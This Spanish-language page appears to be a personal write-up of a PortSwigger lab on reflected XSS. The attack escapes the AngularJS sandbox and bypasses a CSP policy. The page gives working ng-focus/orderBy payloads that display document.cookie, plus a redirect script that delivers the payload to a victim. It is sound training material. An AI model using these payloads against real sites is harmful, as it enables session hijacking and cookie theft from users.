> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/angularjs-sandbox-escape-with-csp.md).

# Escape de la sandbox de AngularJS con CSP

### XSS reflejado con escape del sandbox de AngularJS y CSP

Lleva a cabo un ataque de cross-site scripting reflejado que elude la Política de Seguridad de Contenido, escapa del sandbox de AngularJS y se ejecuta `alert(document.cookie)`.

**Comentarios**/ El sitio utiliza una política CSP que impide la ejecución de scripts desde un dominio externo:

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/9f756d4a466beda3144f9cd36a2ebd34ea81af05" alt=""><figcaption></figcaption></figure>

Al consultar la hoja de trucos de PortSwigger, identificamos un vector funcional de AngularJS que fuerza la evaluación mediante un `orderBy` filtro aplicado al `$event.composedPath()` evento.

<figure><img src="/files/862a07256b2a38aff0cbaba7217772215d3e64be" alt=""><figcaption></figcaption></figure>

* Para desencadenar una alerta:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/ec26dcfe8c4522f5027ce44a303d549950e0c233" alt=""><figcaption></figcaption></figure>

* Para mostrar el valor de `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

Ejemplo de URL construida para entregar la carga útil y forzar su ejecución en el lado de la víctima:

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/eaed77ca60d863eb06af4731df3118eb69d4bb4a" alt=""><figcaption></figcaption></figure>


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